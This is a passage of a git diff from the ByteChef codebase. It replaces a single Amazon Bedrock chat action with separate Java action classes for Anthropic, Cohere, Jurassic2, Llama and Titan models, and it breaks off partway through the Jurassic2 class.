-import com.bytechef.component.ai.llm.amazon.bedrock.cluster.AmazonBedrockChatModel;
+import com.bytechef.component.ai.llm.amazon.bedrock.action.AmazonBedrockAnthropic2ChatAction;
+import com.bytechef.component.ai.llm.amazon.bedrock.action.AmazonBedrockAnthropic3ChatAction;
+import com.bytechef.component.ai.llm.amazon.bedrock.action.AmazonBedrockCohereChatAction;
+import com.bytechef.component.ai.llm.amazon.bedrock.action.AmazonBedrockJurassic2ChatAction;
+import com.bytechef.component.ai.llm.amazon.bedrock.action.AmazonBedrockLlamaChatAction;
+import com.bytechef.component.ai.llm.amazon.bedrock.action.AmazonBedrockTitanChatAction;
 import com.bytechef.component.ai.llm.amazon.bedrock.connection.AmazonBedrockConnection;
 import com.bytechef.component.definition.ComponentCategory;
 import com.bytechef.component.definition.ComponentDefinition;
 import com.google.auto.service.AutoService;
 
 /**
- * @author Monika Kušter
+ * @author Monika Domiter
  */
 @AutoService(ComponentHandler.class)
 public class AmazonBedrockComponentHandler implements ComponentHandler {
@@ -40,8 +44,13 @@ public class AmazonBedrockComponentHandler implements ComponentHandler {
         .icon("path:assets/amazon-bedrock.svg")
         .categories(ComponentCategory.ARTIFICIAL_INTELLIGENCE)
         .connection(AmazonBedrockConnection.CONNECTION_DEFINITION)
-        .actions(AmazonBedrockChatAction.ACTION_DEFINITION)
-        .clusterElements(AmazonBedrockChatModel.CLUSTER_ELEMENT_DEFINITION);
+        .actions(
+            AmazonBedrockAnthropic3ChatAction.ACTION_DEFINITION,
+            AmazonBedrockAnthropic2ChatAction.ACTION_DEFINITION,
+            AmazonBedrockCohereChatAction.ACTION_DEFINITION,
+            AmazonBedrockJurassic2ChatAction.ACTION_DEFINITION,
+            AmazonBedrockLlamaChatAction.ACTION_DEFINITION,
+            AmazonBedrockTitanChatAction.ACTION_DEFINITION);
 
     @Override
     public ComponentDefinition getDefinition() {
diff --git a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockAnthropic2ChatAction.java b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockAnthropic2ChatAction.java
new file mode 100644
index 00000000000..59fb24c219b
--- /dev/null
+++ b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockAnthropic2ChatAction.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright 2023-present ByteChef Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.component.ai.llm.amazon.bedrock.action;
+
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.ACCESS_KEY_ID;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.REGION;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.SECRET_ACCESS_KEY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MAX_TOKENS;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MESSAGES_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MODEL;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.RESPONSE_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.STOP;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.STOP_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_K;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_K_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P_PROPERTY;
+import static com.bytechef.component.definition.ComponentDsl.action;
+import static com.bytechef.component.definition.ComponentDsl.integer;
+import static com.bytechef.component.definition.ComponentDsl.string;
+
+import com.bytechef.component.ai.llm.ChatModel;
+import com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants;
+import com.bytechef.component.ai.llm.util.LLMUtils;
+import com.bytechef.component.definition.ActionContext;
+import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
+import com.bytechef.component.definition.Parameters;
+import com.bytechef.component.definition.TypeReference;
+import org.springframework.ai.bedrock.anthropic.AnthropicChatOptions;
+import org.springframework.ai.bedrock.anthropic.BedrockAnthropicChatModel;
+import org.springframework.ai.bedrock.anthropic.api.AnthropicChatBedrockApi;
+import software.amazon.awssdk.auth.credentials.AwsBasicCredentials;
+
+/**
+ * @author Marko Kriskovic
+ */
+public class AmazonBedrockAnthropic2ChatAction {
+
+    public static final ModifiableActionDefinition ACTION_DEFINITION = action("askAnthropic2")
+        .title("Ask Anthropic2")
+        .description("Ask anything you want.")
+        .properties(
+            string(MODEL)
+                .label("Model")
+                .description("ID of the model to use.")
+                .required(true)
+                .options(AmazonBedrockConstants.ANTHROPIC2_MODELS),
+            MESSAGES_PROPERTY,
+            integer(MAX_TOKENS)
+                .label("Max Tokens")
+                .description("The maximum number of tokens to generate in the chat completion.")
+                .required(true),
+            RESPONSE_PROPERTY,
+            TEMPERATURE_PROPERTY,
+            TOP_P_PROPERTY,
+            TOP_K_PROPERTY,
+            STOP_PROPERTY)
+        .output(LLMUtils::output)
+        .perform(AmazonBedrockAnthropic2ChatAction::perform);
+
+    public static final ChatModel CHAT_MODEL = (inputParameters, connectionParameters) -> new BedrockAnthropicChatModel(
+        new AnthropicChatBedrockApi(
+            inputParameters.getRequiredString(MODEL),
+            () -> AwsBasicCredentials.create(
+                connectionParameters.getRequiredString(ACCESS_KEY_ID),
+                connectionParameters.getRequiredString(SECRET_ACCESS_KEY)),
+            connectionParameters.getRequiredString(REGION), new ObjectMapper()),
+        AnthropicChatOptions.builder()
+            .temperature(inputParameters.getDouble(TEMPERATURE))
+            .maxTokensToSample(inputParameters.getInteger(MAX_TOKENS))
+            .topP(inputParameters.getDouble(TOP_P))
+            .stopSequences(inputParameters.getList(STOP, new TypeReference<>() {}))
+            .topK(inputParameters.getInteger(TOP_K))
+            .build());
+
+    private AmazonBedrockAnthropic2ChatAction() {
+    }
+
+    public static Object perform(
+        Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
+
+        return CHAT_MODEL.getResponse(inputParameters, connectionParameters, context);
+    }
+}
diff --git a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockAnthropic3ChatAction.java b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockAnthropic3ChatAction.java
new file mode 100644
index 00000000000..99237af1ebc
--- /dev/null
+++ b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockAnthropic3ChatAction.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright 2023-present ByteChef Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.component.ai.llm.amazon.bedrock.action;
+
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.ACCESS_KEY_ID;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.REGION;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.SECRET_ACCESS_KEY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MAX_TOKENS;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MESSAGES_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MODEL;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.RESPONSE_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.STOP;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.STOP_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_K;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_K_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P_PROPERTY;
+import static com.bytechef.component.definition.ComponentDsl.action;
+import static com.bytechef.component.definition.ComponentDsl.integer;
+import static com.bytechef.component.definition.ComponentDsl.string;
+
+import com.bytechef.component.ai.llm.ChatModel;
+import com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants;
+import com.bytechef.component.ai.llm.util.LLMUtils;
+import com.bytechef.component.definition.ActionContext;
+import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
+import com.bytechef.component.definition.Parameters;
+import com.bytechef.component.definition.TypeReference;
+import org.springframework.ai.bedrock.anthropic3.Anthropic3ChatOptions;
+import org.springframework.ai.bedrock.anthropic3.BedrockAnthropic3ChatModel;
+import org.springframework.ai.bedrock.anthropic3.api.Anthropic3ChatBedrockApi;
+import software.amazon.awssdk.auth.credentials.AwsBasicCredentials;
+
+/**
+ * @author Marko Kriskovic
+ */
+public class AmazonBedrockAnthropic3ChatAction {
+
+    public static final ModifiableActionDefinition ACTION_DEFINITION = action("askAnthropic3")
+        .title("Ask Anthropic3")
+        .description("Ask anything you want.")
+        .properties(
+            string(MODEL)
+                .label("Model")
+                .description("ID of the model to use.")
+                .required(true)
+                .options(AmazonBedrockConstants.ANTHROPIC3_MODELS),
+            MESSAGES_PROPERTY,
+            integer(MAX_TOKENS)
+                .label("Max Tokens")
+                .description("The maximum number of tokens to generate in the chat completion.")
+                .required(true),
+            RESPONSE_PROPERTY,
+            TEMPERATURE_PROPERTY,
+            TOP_P_PROPERTY,
+            TOP_K_PROPERTY,
+            STOP_PROPERTY)
+        .output(LLMUtils::output)
+        .perform(AmazonBedrockAnthropic3ChatAction::perform);
+
+    public static final ChatModel CHAT_MODEL =
+        (inputParameters, connectionParameters) -> new BedrockAnthropic3ChatModel(
+            new Anthropic3ChatBedrockApi(
+                inputParameters.getRequiredString(MODEL),
+                () -> AwsBasicCredentials.create(
+                    connectionParameters.getRequiredString(ACCESS_KEY_ID),
+                    connectionParameters.getRequiredString(SECRET_ACCESS_KEY)),
+                connectionParameters.getRequiredString(REGION), new ObjectMapper()),
+            Anthropic3ChatOptions.builder()
+                .temperature(inputParameters.getDouble(TEMPERATURE))
+                .maxTokens(inputParameters.getInteger(MAX_TOKENS))
+                .topP(inputParameters.getDouble(TOP_P))
+                .stopSequences(inputParameters.getList(STOP, new TypeReference<>() {}))
+                .topK(inputParameters.getInteger(TOP_K))
+                .anthropicVersion("bedrock-2023-05-31")
+                .build());
+
+    private AmazonBedrockAnthropic3ChatAction() {
+    }
+
+    public static Object perform(
+        Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
+
+        return CHAT_MODEL.getResponse(inputParameters, connectionParameters, context);
+    }
+}
diff --git a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockChatAction.java b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockChatAction.java
deleted file mode 100644
index 10ddebeb2c5..00000000000
--- a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockChatAction.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.ai.llm.amazon.bedrock.action;
-
-import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.ACCESS_KEY_ID;
-import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.CHAT_MODEL_PROPERTY;
-import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.REGION;
-import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.SECRET_ACCESS_KEY;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.ASK;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.FORMAT_PROPERTY;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.MAX_TOKENS;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.MAX_TOKENS_PROPERTY;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.MESSAGES_PROPERTY;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.MODEL;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.PROMPT_PROPERTY;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.RESPONSE_PROPERTY;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.SYSTEM_PROMPT_PROPERTY;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE_PROPERTY;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P;
-import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P_PROPERTY;
-import static com.bytechef.component.definition.ComponentDsl.action;
-
-import com.bytechef.component.ai.llm.ChatModel;
-import com.bytechef.component.ai.llm.util.ModelUtils;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Parameters;
-import org.springframework.ai.bedrock.converse.BedrockChatOptions;
-import org.springframework.ai.bedrock.converse.BedrockProxyChatModel;
-import software.amazon.awssdk.auth.credentials.AwsBasicCredentials;
-import software.amazon.awssdk.auth.credentials.StaticCredentialsProvider;
-import software.amazon.awssdk.regions.Region;
-import software.amazon.awssdk.services.bedrockruntime.BedrockRuntimeClient;
-
-/**
- * @author Marko Kriskovic
- * @author Monika Kušter
- */
-public class AmazonBedrockChatAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action(ASK)
-        .title("Ask")
-        .description("Ask anything you want.")
-        .properties(
-            CHAT_MODEL_PROPERTY,
-            FORMAT_PROPERTY,
-            PROMPT_PROPERTY,
-            SYSTEM_PROMPT_PROPERTY,
-            MESSAGES_PROPERTY,
-            RESPONSE_PROPERTY,
-            MAX_TOKENS_PROPERTY,
-            TEMPERATURE_PROPERTY,
-            TOP_P_PROPERTY)
-        .output(ModelUtils::output)
-        .perform(AmazonBedrockChatAction::perform);
-
-    public static final ChatModel CHAT_MODEL =
-        (inputParameters, connectionParameters, responseFormatRequired) -> BedrockProxyChatModel.builder()
-            .bedrockRuntimeClient(
-                BedrockRuntimeClient.builder()
-                    .credentialsProvider(
-                        StaticCredentialsProvider.create(
-                            AwsBasicCredentials.create(
-                                connectionParameters.getRequiredString(ACCESS_KEY_ID),
-                                connectionParameters.getRequiredString(SECRET_ACCESS_KEY))))
-                    .region(Region.of(connectionParameters.getRequiredString(REGION)))
-                    .build())
-            .defaultOptions(
-                BedrockChatOptions.builder()
-                    .model(inputParameters.getRequiredString(MODEL))
-                    .maxTokens(inputParameters.getInteger(MAX_TOKENS))
-                    .temperature(inputParameters.getDouble(TEMPERATURE))
-                    .topP(inputParameters.getDouble(TOP_P))
-                    .build())
-            .build();
-
-    private AmazonBedrockChatAction() {
-    }
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
-        return CHAT_MODEL.getResponse(inputParameters, connectionParameters, context);
-    }
-}
diff --git a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockCohereChatAction.java b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockCohereChatAction.java
new file mode 100644
index 00000000000..de2486dc1fd
--- /dev/null
+++ b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockCohereChatAction.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright 2023-present ByteChef Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.component.ai.llm.amazon.bedrock.action;
+
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.ACCESS_KEY_ID;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.BIAS_TOKEN;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.BIAS_VALUE;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.REGION;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.RETURN_LIKELIHOODS;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.SECRET_ACCESS_KEY;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.TRUNCATE;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.LOGIT_BIAS;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MAX_TOKENS;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MAX_TOKENS_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MESSAGES_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MODEL;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.N;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.N_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.RESPONSE_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.STOP;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.STOP_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_K;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_K_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P_PROPERTY;
+import static com.bytechef.component.definition.ComponentDsl.action;
+import static com.bytechef.component.definition.ComponentDsl.number;
+import static com.bytechef.component.definition.ComponentDsl.object;
+import static com.bytechef.component.definition.ComponentDsl.string;
+import static org.springframework.ai.bedrock.cohere.api.CohereChatBedrockApi.CohereChatRequest.LogitBias;
+import static org.springframework.ai.bedrock.cohere.api.CohereChatBedrockApi.CohereChatRequest.ReturnLikelihoods;
+import static org.springframework.ai.bedrock.cohere.api.CohereChatBedrockApi.CohereChatRequest.Truncate;
+
+import com.bytechef.component.ai.llm.ChatModel;
+import com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants;
+import com.bytechef.component.ai.llm.util.LLMUtils;
+import com.bytechef.component.definition.ActionContext;
+import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
+import com.bytechef.component.definition.Parameters;
+import com.bytechef.component.definition.TypeReference;
+import java.util.Arrays;
+import java.util.stream.Collectors;
+import org.springframework.ai.bedrock.cohere.BedrockCohereChatModel;
+import org.springframework.ai.bedrock.cohere.BedrockCohereChatOptions;
+import org.springframework.ai.bedrock.cohere.api.CohereChatBedrockApi;
+import software.amazon.awssdk.auth.credentials.AwsBasicCredentials;
+
+/**
+ * @author Marko Kriskovic
+ */
+public class AmazonBedrockCohereChatAction {
+
+    public static final ModifiableActionDefinition ACTION_DEFINITION = action("askCohere")
+        .title("Ask Cohere")
+        .description("Ask anything you want.")
+        .properties(
+            string(MODEL)
+                .label("Model")
+                .description("ID of the model to use.")
+                .required(true)
+                .options(AmazonBedrockConstants.COHERE_MODELS),
+            MESSAGES_PROPERTY,
+            RESPONSE_PROPERTY,
+            MAX_TOKENS_PROPERTY,
+            N_PROPERTY,
+            TEMPERATURE_PROPERTY,
+            TOP_P_PROPERTY,
+            TOP_K_PROPERTY,
+            STOP_PROPERTY,
+            object(LOGIT_BIAS)
+                .label("Logit Bias")
+                .description("Modify the likelihood of a specified token appearing in the completion.")
+                .properties(
+                    string(BIAS_TOKEN)
+                        .label("Token"),
+                    number(BIAS_VALUE)
+                        .label("Logic Bias"))
+                .advancedOption(true),
+            string(RETURN_LIKELIHOODS)
+                .label("Return Likelihoods")
+                .description("The token likelihoods are returned with the response.")
+                .advancedOption(true)
+                .options(
+                    LLMUtils.getEnumOptions(
+                        Arrays.stream(ReturnLikelihoods.values())
+                            .collect(Collectors.toMap(Enum::name, Enum::name)))),
+            string(TRUNCATE)
+                .label("Truncate")
+                .description("Specifies how the API handles inputs longer than the maximum token length")
+                .advancedOption(true)
+                .options(
+                    LLMUtils.getEnumOptions(
+                        Arrays.stream(Truncate.values())
+                            .collect(Collectors.toMap(Enum::name, Enum::name)))))
+        .output(LLMUtils::output)
+        .perform(AmazonBedrockCohereChatAction::perform);
+
+    public static final ChatModel CHAT_MODEL = (inputParameters, connectionParameters) -> new BedrockCohereChatModel(
+        new CohereChatBedrockApi(
+            inputParameters.getRequiredString(MODEL),
+            () -> AwsBasicCredentials.create(
+                connectionParameters.getRequiredString(ACCESS_KEY_ID),
+                connectionParameters.getRequiredString(SECRET_ACCESS_KEY)),
+            connectionParameters.getRequiredString(REGION), new ObjectMapper()),
+        BedrockCohereChatOptions.builder()
+            .temperature(inputParameters.getDouble(TEMPERATURE))
+            .maxTokens(inputParameters.getInteger(MAX_TOKENS))
+            .topP(inputParameters.getDouble(TOP_P))
+            .stopSequences(inputParameters.getList(STOP, new TypeReference<>() {}))
+            .topK(inputParameters.getInteger(TOP_K))
+            .logitBias(
+                new LogitBias(
+                    inputParameters.getString(BIAS_TOKEN), inputParameters.getFloat(BIAS_VALUE)))
+            .numGenerations(inputParameters.getInteger(N))
+            .returnLikelihoods(ReturnLikelihoods.valueOf(inputParameters.getString(RETURN_LIKELIHOODS)))
+            .truncate(Truncate.valueOf(inputParameters.getString(TRUNCATE)))
+            .build());
+
+    private AmazonBedrockCohereChatAction() {
+    }
+
+    public static Object perform(
+        Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
+
+        return CHAT_MODEL.getResponse(inputParameters, connectionParameters, context);
+    }
+}
diff --git a/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockJurassic2ChatAction.java b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockJurassic2ChatAction.java
new file mode 100644
index 00000000000..6e908f4d387
--- /dev/null
+++ b/server/libs/modules/components/ai/llm/amazon-bedrock/src/main/java/com/bytechef/component/ai/llm/amazon/bedrock/action/AmazonBedrockJurassic2ChatAction.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright 2023-present ByteChef Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.component.ai.llm.amazon.bedrock.action;
+
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.ACCESS_KEY_ID;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.COUNT_PENALTY;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.MIN_TOKENS;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.REGION;
+import static com.bytechef.component.ai.llm.amazon.bedrock.constant.AmazonBedrockConstants.SECRET_ACCESS_KEY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.FREQUENCY_PENALTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.FREQUENCY_PENALTY_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MAX_TOKENS;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MAX_TOKENS_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MESSAGES_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.MODEL;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.N;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.N_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.PRESENCE_PENALTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.PRESENCE_PENALTY_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.PROMPT;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.RESPONSE_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.STOP;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.STOP_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TEMPERATURE_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_K;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_K_PROPERTY;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P;
+import static com.bytechef.component.ai.llm.constant.LLMConstants.TOP_P_PROPERTY;
+import static com.bytechef.component.definition.ComponentDsl.action;
+import static com.bytechef.component.definition.ComponentDsl.integer;
+import static com.bytechef.component.definition.ComponentDsl.number;
+import static com.bytechef.component.definition.ComponentDsl.string;
+
+import com.bytechef.component.ai.llm.ChatModel;
+import com.bytechef.component.ai.llm.util.LLMUtils;
+import com.bytechef.component.definition.ActionContext;
+import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
+import com.bytechef.component.definition.Parameters;
+import com.bytechef.component.definition.TypeReference;
+import org.springframework.ai.bedrock.jurassic2.BedrockAi21Jurassic2ChatModel;
+import org.springframework.ai.bedrock.jurassic2.BedrockAi21Jurassic2ChatOptions;
+import org.springframework.ai.bedrock.jurassic2.api.Ai21Jurassic2ChatBedrockApi;
+import software.amazon.awssdk.auth.credentials.AwsBasicCredentials;
+
+public class AmazonBedrockJurassic2ChatAction {
+
+    public static final ModifiableActionDefinition ACTION_DEFINITION = action("askJurassic2")
+        .title("Ask Jurassic2")
+        .description("Ask anything you want.")
+        .properties(
+            string(MODEL)
+                .label("Model")
+                .description("ID of the model to use.")
+                .required(true)
+                .options(),
+            MESSAGES_PROPERTY,
+            RESPONSE_PROPERTY,
+            integer(MIN_TOKENS)
+                .label("Min Tokens")
+                .description("The minimum number of tokens to generate in the chat completion.")
+                .advancedOption(true),
+            MAX_TOKENS_PROPERTY,
+            string(PROMPT)
+                .label("Prompt")
+                .description("The text which the model is requested to continue.")
+                .advancedOption(true),
+            N_PROPERTY,
+            TEMPERATURE_PROPERTY,
+            TOP_P_PROPERTY,
+            TOP_K_PROPERTY,
+            FREQUENCY_PENALTY_PROPERTY,
+            PRESENCE_PENALTY_PROPERTY,
+            STOP_PROPERTY,
+            number(COUNT_PENALTY)
+                .label("Count Penalty")
+                .description("Penalty object for count.")
+                .advancedOption(true))
+        .output(LLMUtils::output)
+        .perform(AmazonBedrockJurassic2ChatAction::perform);
+
+    public static final ChatModel CHAT_MODEL =
+        (inputParameters, connectionParameters) -> new BedrockAi21Jurassic2ChatModel(
+            new Ai21Jurassic2ChatBedrockApi(
+                inputParameters.getRequiredString(MODEL),
+                () -> AwsBasicCredentials.create(
+                    connectionParameters.getRequiredString(ACCESS_KEY_ID),
+                    connectionParameters.getRequiredString(SECRET_ACCESS_KEY)),
+                connectionParameters.getRequiredString(REGION), new ObjectMapper()),
+            BedrockAi21Jurassic2ChatOptions.builder()
